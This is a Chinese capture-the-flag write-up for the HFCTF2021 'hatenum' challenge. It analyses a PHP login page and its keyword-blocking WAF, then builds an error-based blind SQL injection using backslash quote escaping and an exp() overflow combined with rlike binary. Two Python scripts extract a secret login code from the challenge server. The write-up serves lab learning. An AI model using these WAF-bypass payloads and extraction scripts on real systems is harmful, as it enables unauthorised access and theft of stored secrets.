有一个注册窗口,一个登录窗口,附件给了源码,看一下登录逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (isset ($_POST ['username' ])&&isset ($_POST ['password' ])&&isset ($_POST ['code' ])){ $User = new User(); switch ($User ->login($_POST ['username' ],$_POST ['password' ],$_POST ['code' ])) { case 'success' : echo 'login success' ; header('location:home.php' ); break ; case 'fail' : echo 'login fail' ; header('location:index.php' ); break ; case 'error' : echo 'error' ; header('location:index.php' ); break ; } }
有三种不同的回显,考虑能不能盲注。
1 2 3 4 5 6 7 8 9 10 11 12 function login ($username ,$password ,$code ) { $res = $this ->conn->query("select * from users where username='$username ' and password='$password '" ); if ($this ->conn->error){ return 'error' ; } else { $content = $res ->fetch_array(); if ($content ['code' ]===$_POST ['code' ]){ $_SESSION ['username' ] = $content ['username' ]; return 'success' ; }
sql
逻辑是这个:
1 select * from users where username= '$username' and password= '$password'
1 2 3 if ($_SESSION ['username' ]=='admin' ){ echo file_get_contents('/flag' ); }
必须admin
登录。
1 2 3 4 5 6 7 8 9 10 11 12 function sql_waf ($str ) { if (preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i' , $str )){ die ('Hack detected' ); } } function num_waf ($str ) { if (preg_match('/\d{9}|0x[0-9a-f]{9}/i' ,$str )){ die ('Huge num detected' ); } }
num_waf
过滤了9位及以上的数字,sql_waf
过滤了一些函数和字符。
需要拿到code
的值。
exp()函数 exp(n)
:求e
的n
次方。
当exp(710)
就会产生一个溢出错误 。
0
按位取反就会返回“18446744073709551615
”。 函数成功执行后返回0
。 将成功执行的函数取反就会得到最大的无符号BIGINT
值。
rlike()函数 RLIKE
运算符用于确定字符串是否匹配正则表达式,匹配则返回1
,否则返回0
。
不区分大小写,要区分的话添加binary
。
所以可以由报错和不报错两种回显构造注入语句:
1 select * from users where username= 'a\' and password= '||exp((709+(code rlike binary {}))# '
脚本:
测一下code
长度:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestsurl = 'http://89eb2802-96e0-4f72-9f7b-149453be3cae.node4.buuoj.cn:81/login.php' a = 1 while a: payload = "||exp(709+({}-length(code)))#" .format (a) data = {'username' : "a\\" , 'code' : "1" , 'password' : payload} r = requests.post(url=url, data=data, allow_redirects=False ) text = r.text if 'error' in r.text: print (a - 1 ) break a = a + 1
得到23
。
脚本跑一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import stringimport requestsurl = 'http://dfea8234-28b5-4841-8653-064f509169b3.node4.buuoj.cn:81/login.php' str_list = string.digits + string.ascii_uppercase + string.ascii_lowercase def trans (flag ): res = '' for i in flag: res += hex (ord (i)) res = '0x' + res.replace('0x' , '' ) return res flag = '^erg' f = 2 while f < 20 : for i in str_list: payload = "||exp(709+((code)rlike(binary({}))))#" .format (trans(flag[f:] + i)) data = {'username' : "a\\" , 'code' : "1" , 'password' : payload} r = requests.post(url=url, data=data, allow_redirects=False ) if 'error' in r.text: f += 1 flag += i print (flag) continue
跑了一会结果是^erghruiu32ighruiu3
这一看就知道问题在哪了,有个循环了。在分叉处选择第二个匹配结果,跑出来了这个:^erghruigh23uiu32ig
试一下是对的。
我这代码能力太拉了。。。。。。qaq。。。。。。
参考 1.https://blog.z3ratu1.cn/%5BHFCTF2021%5Dhatenum.html
2.http://roverdoge.top/archives/204
3.https://ibukifalling.github.io/2021/07/23/HFCTF2021hatenum/